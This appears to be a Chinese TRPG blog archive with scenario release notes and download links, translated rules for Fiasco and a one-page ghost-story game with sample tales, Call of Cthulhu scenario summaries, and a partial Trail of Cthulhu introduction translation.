最开始写出来这个剧本集的契机还是某天不经意间打开了好多年没有碰过的游戏《Marumaru》，然后突然就想着能不能以《Marumaru》为原型写一个剧本，也算是怀念一下自己的童年了。原本打算写一个DND的战役来着的，写了几千字之后感觉到实在力不从心，最终把目标选定为了更轻量的龙蛋规则。这也导致整个剧本集的氛围基调都和原本的游戏不同了。改着改着，发现自己除了用了一些城市的名称和角色名之类的小设定之外，几乎和《Marumaru》没什么关联了。因此还想过要不要干脆把用到的设定重写，完全和《Marumaru》脱离连系，后来还是作罢了。

顺便提一嘴，不知道我有生之年还能不能看到《Marumaru》最终的结局了。这点还是有些遗憾的。

2025.08.21

距离写完整个剧本集已经将近2年时间了。最近也发生了很多与剧本有关的事情，其中更是包含了一件让我觉得奇妙的事情：

一位朋友在闲鱼发现了我的剧本，遂购买。买到之后发现我的剧本被盗卖了，于是找到了我的 QQ 告知了我。之后，事情就向着越来越奇妙的方向发展了。

大概不久之后这里还会再更新一次。

2025.11.11

终于所有消息都已经解禁了，很多有趣的事情可以写在这里了。

就像上一次更新时所写，乐博睿会找到我并决定出版《马鹿的奇妙旅行》（现在更名为《◯◯的奇妙旅行》）出于一个非常巧合且令人啼笑皆非的契机。

众所周知，闲鱼平台上有不少倒卖网络资源的黄牛。一位倒卖《龙蛋物语》相关资源的黄牛售卖的资源里面正巧包含我的剧本集（还是很久之前那版只有前两个剧本的），比较离谱的是，这位黄牛甚至给自己觉得好的剧本的标题加上了星标，我的剧本有幸成为黄牛严选剧本之一 :-)

一位乐博睿的朋友因此看到了我的剧本，并且通过剧本的标题搜索到了我的博客，最终通过博客中的 QQ 号联系上了我。

下载链接

蓝奏云盘：https://masternoah.lanzouq.com/i1uVL1bkdfcd
百度网盘：https://pan.baidu.com/s/1Ba1fzPClhnibKEdifMIqOw?pwd=NOAH
Dicecho页面：https://www.dicecho.com/module/65269f47d0c0c800267c9a02

其它信息

如果有关于剧本中的问题,欢迎通过我的邮箱(noahtie@foxmail.com)或我的qq(571364304)联系我。

剧本集使用说明：

本剧本集内容纯属虚构，与现实中存在的一切组织及个人均无关系。如有雷同，纯属巧合。
禁止将本剧本集用于可能产生收益或变相产生经济效益的情景，包括但不限于：制作衍生产物并获取收益；在商业活动情况下使用该剧本集；印刷本剧本集并出售或有偿赠与。
本剧本集中的部分装饰元素灵感来源于乐博睿出品的《龙蛋物语》官方剧本集。
本剧本集中的部分怪物信息及怪物图片素材来源于乐博睿出品的《龙蛋物语》规则书。
本剧本集中使用了“方正三宝体”及“阿朱泡泡体”。上述字体仅限非商业使用。因违反剧本集使用说明、在商业情景使用本剧本集等情况下，对字体版权方造成的侵权责任应由使用者承担。

以及——

感谢独立游戏作者Maru7先生。因为有他的游戏作品《Marumaru》存在于这个世界上，这本剧本集才得以诞生。本剧本集沿用了《Marumaru》中的部分设定，包括：部分地点名称和部分NPC姓名及基本设定。

※ 作品中出现的图片不适用该协议。

【TRPG规则】Fiasco（祸不单行）

Wed, 26 Oct 2022 00:00:00 GMT

Re-Posted from https://www.goddessfantasy.net/bbs/?topic=71635.msg674242#msg674242

简介

这款游戏不区分主持人和玩家，每个游戏者将轮流成为焦点人物（即主角）。下文提到的“玩家”指所有的游戏者。

游戏道具包括：

包含五张列表（List）的游戏套组（Playset）
每人四颗六面骰，两颗黑的，两颗白的
每人两张空白索引卡（Index Card）
两张额外的空白索引卡

游戏流程分为五个阶段，从开始到结束分别是：

开局设定（Setup）
第一幕（Act One）
节外生枝（Tilt）
第二幕（Act Two）
劫后余波（Aftermath）

接下来先简单介绍两个最重要的道具：列表和骰子，然后根据游戏流程，逐一解释每个阶段的游戏方式。

列表

游戏套组相当于《祸不单行》的“设定包”，内含五张列表，列举了可能出现在故事里的细节：

关系（Relationship）
需求（Need）
地点（Location）
物品（Object）
节外生枝（Tilt）

关系是指两个玩家人物之间的联系。需求通常是人物希望在故事结束后实现的目标。地点决定了故事发生在哪里。物品或许是人物的随身物件，又或许是环境里的道具（比如搁在壁炉架上的手枪）。节外生枝是等到第一幕结束，节外生枝阶段开始后，用来决定新剧情的列表。

需求、地点和物品统称为详情（Detail），它们都跟一个特定的关系挂钩。例如两个玩家人物之间的关系是乐队成员，与这个关系挂钩的地点是酒吧，这可能意味着他们在酒吧初次认识，或者是一间酒吧的专用歌手。节外生枝与特定的关系无关，在所有玩家之间共享。

每张列表包含六个分类（Category），每个分类的标题前都有从 1 到 6 的序号。以地点（列表）为例：

商业区
住宅区
老城区
工业区
主干道
外围区域

每个分类包含六个元素（Element），同样标有序号。以商业区（分类）为例：

人行歩道
服装店
电影院
摇滚酒吧
健身俱乐部
值班警亭

骰子

骰子的用法有三种：

不投骰，只看骰子颜色。
投骰，只看骰值，不看骰子颜色。
投骰，分别累加白骰和黑骰的骰值，再把两个骰值之和相减。

开局设定，步骤一：投骰

每个玩家投掷自己的四颗六面骰，只看骰值，不看骰子颜色。然后所有人把骰子堆到桌面中间。

例如，三名玩家，共有黑骰和白骰各 6 颗。他们的投骰结果是：

黑骰：1，2，2，3，4，4
白骰：1，1，3，5，5，6

汇总以后得到：

骰值 1：3 个
骰值 2：2 个
骰值 3：2 个
骰值 4：2 个
骰值 5：2 个
骰值 6：1 个

开局设定，步骤二：填写索引卡

玩家要在开局设定阶段填写自己的两张索引卡，两张额外的索引卡先放在一边，留到节外生枝阶段使用（见下文，节外生枝）。

索引卡有三行，分别用来填写：

列表名称
分类标题
（故事）元素

按照事先约定的方法，从一名玩家开始填写索引卡。这名玩家首先选择一张列表（关系、需求、地点和物品），然后从桌面中间的骰子堆里拿走一颗骰子，选择与骰值对应的分类，最后在索引卡里写下列表名称和分类标题。例如，拿走一颗骰值是 1 的骰子，在地点列表里选择分类：商业区（1）。

现在，填卡的权力移交给先前玩家右边的邻座。邻座的玩家再拿走一颗骰子，他可以选择新列表和新分类，也可以往已有列表和分类的索引卡里补充元素。例如，拿走一颗骰值是 4 的骰子，在商业区里选择元素：摇滚酒吧（4）；或者拿走一颗骰值是 3 的骰子，在关系列表里选择分类：艺术家（3）。

一张索引卡只有三行，换句话说，卡片上只能填写列表名称、分类标题和元素各一条。

索引卡上的元素与当前玩家以及右边的邻座有关。例如选择摇滚酒吧（元素）表示两个玩家人物在酒吧里初次认识，或者组建了一支乐队给酒吧打工。虽然同一时刻只有一名玩家填写索引卡，但是游戏鼓励所有人都参与讨论，选择最有趣的元素。玩家既能填写自己的两张索引卡，也能填写别人的索引卡。

前面提到每个玩家有两张索引卡，其中一张的列表限定为关系，另一张索引卡的列表可以任选。游戏建议跟需求、地点和物品有关的元素至少各有一条。

等到桌面中间的骰子全部拿完，玩家根据两张填写好的索引卡设计人物形象，把骰子放回桌子中间（不用考虑颜色和骰值）。开局设定阶段结束，第一幕即将开始。

最后一颗骰子可以是任何数值。

第一幕

第一幕的游戏流程概括如下：

按照事先约定的方法，指定一名玩家成为焦点人物，讲述一段以自己的人物为主角的故事。
焦点人物或其他玩家在特定时刻从桌面中间的骰子堆里拿走一颗骰子。
这段故事结束后，轮到焦点人物右边的邻座讲故事。
桌面中间的骰子只剩下一半时，第一幕结束。

下面展开详述。

讲一段故事，或者说设计一个场景，分为两个小节：

搭建（Establish）场景
拆解（Resolve）场景

所谓搭建场景，是指为这个场景确定地点、选择配角（玩家人物或非玩家人物）、设计故事的起因等。所谓拆解场景，是指描述主角怎样应对接踵而至的麻烦。

焦点人物可以选择搭建场景，让其他玩家扮演自己的人物拆解场景；也可以选择扮演自己的人物拆解场景，让其他玩家搭建场景。但是，他不能同时控制两者。

拆解场景时：

如果焦点人物选择拆解场景，他要从桌面中间拿一颗骰子。
如果焦点人物选择搭建场景，其他玩家要从桌面中间拿一颗骰子交给焦点人物。

焦点人物的场景结束后，他要把自己的骰子交给除本人以外的任意一名玩家。

在第一幕以及其它某些时刻，骰子的颜色，而不是数值，会影响剧情：

在第一幕和第二幕，黑骰代表主角行动不利，白骰代表主角行动顺利。
在节外生枝阶段，拥有同一种颜色的骰子越多的玩家，越有可能赢得决定节外生枝剧情的权力。
在劫后余波阶段，拥有同一种颜色的骰子越多的玩家，越有可能获得更好的结局。此时，黑骰代表生理方面的成功，白骰代表精神方面的成功。

当前焦点人物的故事暂时结束后，轮到右边邻座的玩家讲故事。桌面中间只剩下一半的骰子时，第一幕结束。节外生枝即将开始。

每名玩家在每一幕中只能担任两次焦点人物，请珍惜宝贵的机会。

节外生枝

节外生枝的游戏流程概括如下：

投骰，两名获胜的玩家决定节外生枝剧情。
填写两张节外生枝索引卡。

下面展开详述。

所有人投掷自己的骰子，先把黑骰和白骰的骰值分别相加，记下结果较大的骰子的颜色，再把两者相减（用大的减去小的）。黑骰和白骰的结果最大的两名玩家获胜，共同决定节外生枝剧情。

例如，玩家甲有黑骰 2 颗，白骰 3 颗。投骰结果：

黑：3 + 5 = 8
白：1 + 2 + 4 = 7

黑骰相加的结果较大，黑骰和白骰相减得到：

黑 - 白：8 - 7 = 1

最终结果记做：

黑 1

现有四名玩家，他们的最终结果分别是：

甲：黑 1
乙：白 3
丙：白 5
丁：黑 2

玩家丙（白 5）和玩家丁（黑 2）获胜，他们将共同决定节外生枝剧情。

两名获胜玩家投掷桌面中间剩下的骰子，根据第五张列表（节外生枝）填写剩下两张空白的索引卡。填写过程与开局设定阶段时类似，但是只能从节外生枝列表里挑选元素，而且只有两名玩家拥有选择权。当然，所有人都能提供建议。

无论桌面中间剩下多少骰子，始终只填写两张节外生枝索引卡。这两张卡放在桌面中间，与每个玩家人物都有关。

填写完索引卡，把刚才投掷的骰子放回桌面中间。大家谈论一下到目前为止的剧情，休息片刻。第二幕即将开始。

第二幕

第二幕的游戏流程与第一幕类似，仅有几处不同：

焦点人物不能把拆解场景时得到的骰子交给别人，必须自己保留。
节外生枝阶段填写的两张索引卡也能用于游戏。
玩家可以自行决定桌面中间最后一颗骰子的颜色。
当最后一颗骰子被拿走后，第二幕结束。

劫后余波

每个人像节外生枝时那样投骰，先把同色骰子的骰值相加，再把两个结果相减。这次不必选出获胜玩家，而是把最终结果（黑 8 或者白 5）和劫后余波表里的评价对应起来——比如黑色 5 意味着人物受到永久的生理创伤，白色 10 意味着人物多多少少赢得一些利益和名声。

玩家轮流描述自己人物的结局。每颗骰子都能让玩家说一句话。所有人的骰子都用完以后，游戏结束。

资源下载

一些英文资源可以在官方（英文）站点下载：https://bullypulpitgames.com/download-category/fiasco/

Fiasco Playsets：http://fiascoplaysets.com/

【一页纸TRPG规则】怪谈白物语

Thu, 08 Sep 2022 00:00:00 GMT

译文来源：怪談白物語 (goddessfantasy.net)

出自《TRPGおまじな大饗宴》里的 缶コーヒーの投げやり!1ページる・る・ぶ 。

GM负责说鬼故事而PL全力打岔的一页纸TRPG。PL狩猎怪谈中的关键词并努力欺凌GM，GM努力隐藏关键词并引导故事保持恐怖的游戏。

怎么才能讲出吓人的鬼故事呢？

序文

“说的是第九十九个怪谈。
剩下的一个不知在哪裡。
没有那一个的话故事就无法停止。
到达不了一百的白物语。
那九十九个故事连露水都不知晓。”

这是个讲述怪谈的TRPG。PC们参加了一个聚在一起的百物语（译注：一种轮流讲鬼故事的怪谈会形式，每讲一个故事吹熄一根蜡烛，讲完九十九个后守着最后一根蜡烛等待天明）。PC们都知道：如果集齐了一百个怪谈世上将会发生可怕的事情。现在正是最后一个人（GM）讲述最后一个故事。想方设法让可怕的故事变得不可怕吧。

要不，你看，刚才一直站在你身边的是谁？

规则

准备物品

一个六面骰
人数份的纸笔
无所畏惧的内心

创建人物

玩家（PL）

玩家角色（PC）们分别拥有以下的职业。PL首先选择喜欢的职业，各职业决定了恐怖耐久值和特征。选择同样的职业也无所谓。各个特征请参见下文的游戏系统。接下来，从1-6中选择一个喜欢的数字。这个数字请不要和其他玩家重复。然后决定角色的姓名、外貌、年龄、不能对其他人说的癖好以及喜欢的芬达种类就完成了。

职业	恐怖耐久值	特征
脚本家	3	当自己的（修正）检定失败的场合，故事会像修正成功了那般继续进行（耐久值会减少）
灵媒	4	当某人的恐怖耐久值减少时，作为代替可以减少自己的恐怖耐久值。
编辑	3	当自己的检定失败的场合，GM要随机公开一个关键字。
科学家	2	一次判定可以同时指出最多两个修正点。
咒术师	6	当自己的判定成功时，骰出数字对应的PC减少1点恐怖耐久值。
无职	5	在任何角色扮演的时候，所有人都会“你，没有工作！”这样欺负你。

GM

首先从下面选择一个讲最终故事之人的特征。同PC一样具有特殊的能力。详细内容参见下文的游戏系统。GM没有恐惧耐久值。GM不必向PL公布自己选择的特征。接下来构思一个可怕的故事吧。此时，请思考10个关键词（选“闲聊”特征的时候是12个），并将关键词包含进故事中。关键词最好是一个“词”，如果易于理解的话“短语”也是可以的。这些关键词全部被猜中的话就是PL的胜利。如果一时想不到关键词，请尝试从手边的书之类的地方适当地挑选出来吧。

技能	特征
KY（破坏气氛）	PL检定成功的场合，如果修正点不是关键字，那麽故事内容可以不进行修改。
闲聊	可以使用12个关键词。
说谎	可以重複使用同一个关键词（1次修正只需要公布其中之一就可以了）。
稻川	用稲○淳二的风格讲故事。在游戏中有一次机会，可以在任意时间将任一pc的恐怖耐久值减少3。（译注：稻川淳二，知名怪谈艺人）

修改故事

游戏从刚刚结束第九十九个可怕故事时开始。就像那样扮演营造出一种真可怕的气氛。这时大家胡闹一下吧，当气氛平稳下来的时候GM装腔作势地开始最后一个故事，从这开始就是恐怖的开端了。嗝欸欸欸。

GM先开始讲述可怕的故事。PL认为某个词汇是可怕故事的关键词的时候，像“这里应该是○○吧？”“我听说这里是××才对”这样指出，然后指出的玩家掷出一颗骰子。

如果没有掷出创建人物时选择的数字，则判定成功。GM会告诉你指出的词是否为关键词，并按指出的内容修正并继续故事。但是，被修正前的那个词汇并不是一定不能使用，可以在其他地方说这个词汇。只要PL成功进行了指出，选择用什么内容代替来继续都是可以的。

判定的时候如果掷出了了人物创建时选择的数字，判定会失败。PC感受到不寒而慄并且恐怖耐久值降低1。当恐怖耐久值小于等于0时，PC会发狂并且无法参加之后的修正。

总之，请适当地胡闹一下。重复这个过程，修正词汇使得GM的故事变得不再可怕。也可以回溯指出之前说的内容。GM忍受着PL的欺凌，努力使得故事变得可怕吧。如果内心善良的GM把PL错过的关键词再一次提出就太好了。

关键词全部被修正时，PL胜利并且可怕故事就此中止。或者，PC全部发狂的情况下，或者GM完成讲述的故事是一个“可怕的故事”的话，PL就输了。可怕与否请大家商量决定。而如果不可怕的话，意味着百物语可以暂且停止，因此游戏平局结束。

另外，如果百物语完成了，GM要掷一枚骰子。对应值发生以下的事件：

1：房间里的东西突然掉下来碎裂开来，敲打门和牆壁的声音在房间迴荡。 2：当前恐怖耐久值最低的PC变得奇怪并且暴跳起来，如果最低值不止一个人那么他们全都会暴跳起来。 3：听到显然多出房间里人数的声音。 4：PC们突然头痛和恶心。 5：还以为看见窗外有人影，才发现外面已经是白天了。 6：在场的人都变成奇怪的体质，在听到可怕故事时会条件反射地说“到处都是鬼怪啊！”。

怪谈故事

高亮显示的是首次出现的关键词， 加粗显示 的是第二次之后出现的关键词。

0# 如月车站

来自于动漫之家

那起事件发生于2004年，那天晚上11点，我坐上了平时那趟从新滨松站出发的私铁电车。那天的车非常奇怪，平时这班车只要7、8分钟就会停站，可是这次却至少行驶了20分钟都没有停下来。我想去卫生间大便，却发现看不到卫生间里面，砸锅也没有得到回应。车上除了我还有5名乘客，都在低着头睡觉。后来电车通过一条平时坐车没见过的隧道后，于凌晨12点停在了“如月车站”。

看到停站后，我赶紧下了车，想通过反方向的车坐回去。其他乘客还在睡觉，只有我一个人下了车。那是个无人车站，车站里空无一人。出站后外面也都空荡荡的，用手机搜寻也找不到所在位置。在我不知如何是好，想干脆继续坐上刚才那趟车到总站再做打算的时候，电车关门开走了。我只好打电话向家人求救，希望爸爸能够来接我，但是家人也找不到我所在的车站。无奈之下只好报了警，但却被警方当作恶作剧电话。因为根本没有“如月”这个车站。

出了车站也什么都没有。没有住宅没有商店，只有山和草原。我决定沿着来时的铁道往回走，希望可以走回家去。到凌晨2点左右，附近传来铃铛及太鼓的声音。我害怕到不敢回头看。这时听见背后有人喊:“在铁道上走很危险啊!”以为是站员在喊话，我条件反射地回了头。我看见站在背后的是一名只有一条腿的人，或者不知道该不该叫作“人”。那个人形的身体已经很多地方都能看到骨头了，眼眶里还有虫子在蠕动。我被吓得摔倒在了铁道上，发出尖叫，那个“人”发出两声“嘿嘿”的笑声，就凭空消失了。

我坐在地上半天爬不起来，腿都软了。这时太鼓和铃铛的声音越来越靠近了，我看不见发出声音的东西，只能听见声音。实在太害怕了，但我还不想死，挣扎着爬起来后继续沿着铁道往回走，通过了之前那条没见过的隧道，才知道隧道名叫“伊佐贯”。隧道那头站着个人，我因为终于再次见到人了，所以马上过去求助。那人答应帮助我，开车送我到附近的车站，并告诉我那边有旅馆可以住下。上车后过了段时间我发现不对劲。车是往山上开的，前面怎么也不像有车站和旅店的样子，而且司机开始自言自语一些听不懂的话。

我很害怕，想跳车逃跑，但是车窗和车门都是封死的，怎么都打不开。司机发现了我的动作，加快了车速，像要把我带去什么不妙的地方似的。这时前面突然发出强烈的光线，车子也猛烈地震动了一下，司机消失了。旁边出现了另一个男人向着车子走来，那名男子向我大喊:“你为什么在这里!这里很危险!我让那个司机消失了，你趁现在快跑!”他把我从车里拉了出来，并让我向着光线的方向快跑。我听话跑了起来，光线变得非常刺眼。等我再次睁开眼睛时，发现自己在家附近的车站前面。这个时候我还不知道，时间已经是2011年了。

1# 自动演奏的钢琴

By MasterNoah

今天是星期五，终于快到周末了。本来打算放学了立马就回家玩前几天刚买的游戏，结果不巧，今天轮到我值日了。打扫卫生的其他人都早早完成了自己的部分，空荡荡的教室里现在只剩下了我一个人。一边埋冤着他们讲最麻烦的工作交给了我，我将清洁工具放回原本的位置。看了一眼教室前方挂着的时钟，现在已经是7点钟了，距离放学时间已经过了1个小时了。

正当我拿起书包，准备回家时，突然看到了书包旁放着的小说。哦对，从图书馆借来的这本书的返还期限就是今天，还得去把书还了才行。于是，我背上了书包，拿起小说，走出了教学楼并向着 图书馆 所在的特别教学楼走去。

我走进了图书馆却发现这里面一个人都没有。真是奇怪啊，图书管理员应该8点钟才下班的，不过没有锁门的话，大概是去上厕所了吧。这样想着，我坐在了一张桌子前，随手从书架上取了一本恐怖小说，打算在等待图书管理员回来的这段时间里打发打发时间。但是，我等了很久图书管理员都没有回来。该不会是有急事提前下班又忘记锁门了吧，我这样想着，合上了书，抬起手腕打算看一眼手表上的时间。真倒霉，手表不知道是坏了还是没电了，指针停止在了7：10的位置。

我只好放弃了还书。明天还书的时候说明今天的情况的话，应该不会被为难吧。我再次背起书包，准备离开 图书馆 。就在这时，音乐的声音突然响了起来。那曲子我很熟悉，是我经常听的《月光》。大概是音乐社团的人在图书馆旁的音乐教室里弹钢琴吧。突然，我想起来之前从朋友那里听来的一个怪谈：据说在周五晚上8点的时候，钢琴的声音会从空无一人的音乐教室里传出来，但当去查看时却发现没有人弹奏的钢琴在自己发出声音。

这种事情怎么可能发生呢？不知道是探求真相的好奇心还是想要揭开谎言的想法驱使着我，我向着走廊更深处的音乐教室走去。声音越来越大的 《月光》 的声音告诉我，没错，这就是音乐教室里面的某人在弹钢琴。虽然知道怪谈都是子虚乌有的，但在我打开教室门的一瞬间，紧张的心情还是不由自主地浮现了出来。我缓缓地打开教室的门，因为年老失修的缘故，门发出了吱呀的响声。

我走进了教室，那里面一片漆黑。怎么会有人关着灯弹琴啊，这样想着的我按下了位于墙角的电灯的开关。可是教室并没有像我想象地那样亮起来，看来灯坏掉了，难怪不开灯弹琴呢。于是，我取出手机，用手机发出的光亮照明。但是我在手机上看到了奇怪的东西，就在我想要再次确认在手机上看到的东西时，更加恐怖的事情让我几乎要夺门而逃。是的，那架钢琴在没有人弹的情况下，按键自己在上下起伏着，演奏着 《月光》 。

我不敢多想，立刻转身离开了音乐教室，向着楼梯口的方向跑过去。当我路过图书馆的时候，我发现图书馆的门已经被锁上了。但我不敢在这里停留，我一路飞奔离开了特别教学楼，即使膝盖不小心碰到墙壁受了伤，我也没敢放慢脚步。当我走出特别教学楼之后， 《月光》 立即停止了。我再次拿出手机确认了现在的时间，看着屏幕上显示的8:01，我快步走出了校园。

【COC剧本集】巫女（《心跳研学旅行》重置版）

Sat, 03 Sep 2022 00:00:00 GMT

剧本集简介

适用于COC7th规则

本剧本集包含了两篇剧本，为《心跳研学旅行》的重置版

重置了先前的老版本，对排版、部分描述及一些细节进行了大面积调整，修改了展示材料

在《巫女》中，调查员们身为私立竹兰高中的相关人员——可以是学生、教师或随行校医等——跟随高中二年级的学生们前往位于日本西北部的大泽岛，参与一场修学旅行。

《巫女》是一则适用于《克苏鲁的呼唤》第7版规则的短战役，由两个章节构成，每章节的游玩时间大约为5至6时。故事发生在现代日本——2020年的冬季。建议参与游戏的调查员人数为2至4人，此外的人数需要守秘人对剧本内容进行调整。

关于大泽岛

日本西北部的大泽岛，被称作日本西北最具有传统气息的地方。直到1990年左右，大泽岛才废除了流传了数百年的巫女制度。虽然巫女制度被废除意味着巫女失去了绝对的权力，但她仍然作为这座小岛居民的信仰存在着。岛上的群众相信巫女拥有着沟通自然、连接神灵，甚至降下天罚的能力。

在第一章《献给她的爱》中——调查员将跟随学校前往大泽岛。在学生们擅自行动举行试胆大会时，调查员们将意外走进一间真正的鬼屋。在这里等待着调查员们的是，在仇恨中沉浸了30年的怨灵。

在第二章《魔女的爱》中——调查员将面对被复仇蒙蔽了心智的雾原久瑠美和沉湎于邪恶仪式的雾原茂典。围绕着雾原久瑠美和一对奇怪的父女，调查员将展开新的探索，并逐渐揭开大泽岛神社埋藏了30年余年的真相。

</details>

更新历史

2022.09.28更新（当前版本）

修改了一些展示材料
修正了一些错别字

2022.09.03更新

重制版初版发布~

下载地址

蓝奏云：https://masternoah.lanzouy.com/iTr420cik5bc
百度网盘：https://pan.baidu.com/s/1aCUD0NXih5pHQUqrxeiWRw （提取码：NOAH）
展示材料电子版：https://masternoah.lanzouy.com/iINQB0ciucxg

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿⑤】火焰交织的盛夏

Fri, 19 Aug 2022 00:00:00 GMT

封面图片来源pixabay.com。

该图片采用Pixabay License (Free for commercial use. No attribution required）进行许可。

剧本简介

适用于 COC 7th 规则
适于 2 - 4 名调查员共同进行冒险
预计游戏时长 5 - 6 小时（网团耗时更长）
故事发生于现代·中国·古城市（架空城市）
调查员的活动范围相对比较封闭的剧本

2022 年 8 月 16 日，生活在古城市的调查员们遭遇到了古城市有记载以来的历史最高气温，本该转凉的天气不知为何变得无比燥热。

注意：《古城秘史》剧本集包含当前剧本，且剧本集中的版本经过了修改，强烈建议下载剧本集！本页面仅作存档使用，未来不会进行任何更新。

剧本概况

这是一个发生在古城市的剧本，但守密人也可将故事迁移至中国的任何一个城市。

2021年8月16日，生活在古城市的调查员们遭遇到了古城市有记载以来的历史最高气温，本该转凉的天气在随意游荡于城市的炎之精的影响下变得燥热。不过随着这些炎之精的自行离开，古城市的气温会恢复正常。但被召唤而蛰伏在地底的图尔兹查让这一切变得更糟。

43℃的气温让古城市的绝大多数人选择居住在家，因此甚至一度造成了电力供应不足。古城市气象局的研究人员和工作者也为此头疼，天气炎热的事实摆在眼前，但却完全找不到原因。

</details>

下载链接

蓝奏云：https://masternoah.lanzouy.com/ipPVn09uhnlg
百度网盘：https://pan.baidu.com/s/13wu6ja1wZMhKl94LPAlxDQ （提取码：NOAH）

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【TOC相关】《克苏鲁迷踪》规则书中文翻译（未完待续）

Wed, 10 Aug 2022 00:00:00 GMT

大部分译文来自于 https://sites.google.com/site/trailofcthulhutrpg/

我只做了一些简单的工作：简繁转换、对部分疑似机翻的内容做了调整、部分用语改为大陆常用用语、翻译了简介部分以及简单的排版。

缺少的部分等之后拿到完整版的规则书再添上吧。

简介

在史前的迷雾中，外星诸神与怪物降临至地球。直到大陆沉没、海水沸腾之前，“他们”一直在我们的星球上争斗，释放着来自宇宙的科技与不可思议的力量。或因力竭、或因战败，“他们”陷入亿万年的沉眠中，而人类则毫不知情地在他们的墓穴与坟包上生活着。有些人想追寻“他们”留下的禁忌知识的碎片；有些人想习得星星的奥秘及次元的真名；有些人渴求着死去的诸神的力量。这些人想要唤醒“他们”。

你是怀疑真相的寥寥数人中的一员。那真相涉及到宇宙中心疯狂的诸神、涉及到在睡梦中欲清洗地球的旧日支配者、涉及到将人类当作实验材料的异星人、涉及到将化为现实的、关乎不灭的邪恶的古老传说。你需要确保无人知晓这些，否则这世界将在哀鸣中苏醒。

无论需要付出何等生命或理智的代价，你必须要坚守那扇摇摇欲开的通向异界的门。你需要将线索拼合在一起。那线索来自于用人皮装帧的典籍、体表画满某种怪异符号而被掏空内脏的尸体，以及于人类出现前建造起的墙壁上雕刻着的铭文。你需要追寻不知指向何处的答案，并做你应当做的事情。

但你胆敢追寻……克苏鲁的迷踪吗？

该游戏存在的意义

该游戏存在的目的是将有史以来最棒的RPG游戏《克苏鲁的呼唤》转换至一种不同的规则：侦探系统(GUMSHORE)。我们究竟为何这样做呢？首先，《克苏鲁的呼唤》如此棒的原因之一在于：其主题来源于20世纪最优秀的恐怖小说作者霍华德·菲利普斯·洛夫克拉夫特的“宇宙绝望”。我们保留了这点。其次，《克苏鲁的呼唤》如此棒的另一原因在于：其刻意让调查员在他们面对的恐惧面前变得越发脆弱，以让他们的勇猛真正具有意义并在游戏机制方面产生后果。我们也保留了这点。

那么我们究竟改变了什么？让我举个例子。历史上最优秀的戏剧作家是威廉·莎士比亚。他最好的剧本是《李尔王》。为什么黑泽明将《李尔王》改编成了电影？为什么他将自己改编的电影《乱》的背景设置在武士时代的日本而不是近代英国？因为比起戏剧，多数人更愿意（或可以）看电影。并且，将故事转移至日本使其意外地比莎士比亚所写的“熟悉的”世界主题更加清晰。《乱》是否改进了《李尔王》，或者让《李尔王》过时了吗？并非如此。通过改编《李尔王》，《乱》是否做出了有价值的贡献？显然如此。

那么回到我们的主题：《克苏鲁的呼唤》如此棒的另一原因在于其强调调查，强调收集线索而非财宝。为了让这更加轻松、清晰以及更加直接，我们设计了侦探系统（GUMSHOE）。侦探系统的存在解决了许多玩家会在参与《克苏鲁的呼唤》时遭遇到的问题：一次糟糕的掷骰可以让整个冒险脱离正轨。你没能找到日记，所以你没有得到咒语，于是要么阿卡姆被摧毁、要么守秘人就要四处寻找一个其他的合适位置来放置这本日记。在《克苏鲁迷踪》里，侦探系统将保证你一定会找到那本日记。（但并不保证阿卡姆不会被摧毁。）这并非侦探系统可以提供的全部，但这是侦探系统的出发点——专注于调查。

一些守秘人，甚至是一些玩家，享受目睹所有事情圆润地行进，并沉醉于冒险中富有创造力的破坏之中。另一些人并非如此，他们以自己完全喜欢的方式解决问题。我们希望给这类玩家充足的好东西，但《克苏鲁迷踪》是首个主要适合着重调查的守秘人和玩家及喜欢如此机制的人的游戏。它适合诸如《豪斯医生》或《犯罪现场调查》这类单元剧的粉丝，不过谜题从”实验考核是否会重开“变成了”这结果意味着什么？“。这并不意味着玩家们不会误入歧途，简单地说，玩家们会因错误地使用线索误入歧途而非错过线索。它适合对呼唤（Call）感到好奇并想要追随迷踪（Trail）直到尽头的玩家。

原旨、通俗，或两者兼有

《克苏鲁迷踪》会在讲述一个故事的过程中，揭开关乎于克苏鲁神话的神秘学恐怖谜团。这样的游戏向来被分为两个流派。

其一是原旨主义或原旨模式，其主要参考了霍华德·菲利普斯·洛夫克拉夫特晚期的不加修饰的作品作为原型。这些作品包括：《星之彩》、《疯狂山脉》、《穿越时间之影》及《黑暗中的低语》等。这种模式趋向于再现一场带有哲学性恐惧的游戏，无论是积极的探索者还是不幸的旁观者都会在揭露真相的行为中走向灭亡。

其二是通俗主义或通俗模式，其旨在带来罗伯特·欧文·霍华德的克苏鲁神话作品中的“绝望的动作感”。这些作品包括：《屋顶上的怪物》、《亚述巴尼拔之火》及《骷髅脸》等。它意在聚焦于与神话的斗争（尤其是物理学层面上的斗争），根据情况有时注定要灭亡、有时是华丽胜利。它也为角色提供了比原旨主义更高的生存机会。

当然，霍华德·菲利普斯·洛夫克拉夫特的作品中同时体现了上述两种主义：《查尔斯·德克斯特·沃德案》、《敦威奇恐怖》和《躲避之家》都或多或少地以霍华德式的风格展现了果断的追捕怪物的调查人员挫败宇宙邪恶的故事。（罗伯特·欧文·霍华德也写过至少一部优秀的原旨主义神话故事《黑石》。）洛夫克拉夫特的许多优秀故事，如《克苏鲁的召唤》（讲述了神经衰弱的学者揭露真相和警察突袭邪恶邪教的故事）和《印斯茅斯的阴影（讲述了在一个被摧毁的城镇中绝望的追逐和心理腐败的故事）都从这两种模式中汲取了力量。虽然我们的工作不是告诉你如何运行你的游戏（实际上，这是我们的工作，但我们将在后面的章节中讨论这个问题），但对我们来说，以霍华德·菲利普斯·洛夫克拉夫特的方式处理克苏鲁式的恐怖元素似乎是个好主意。

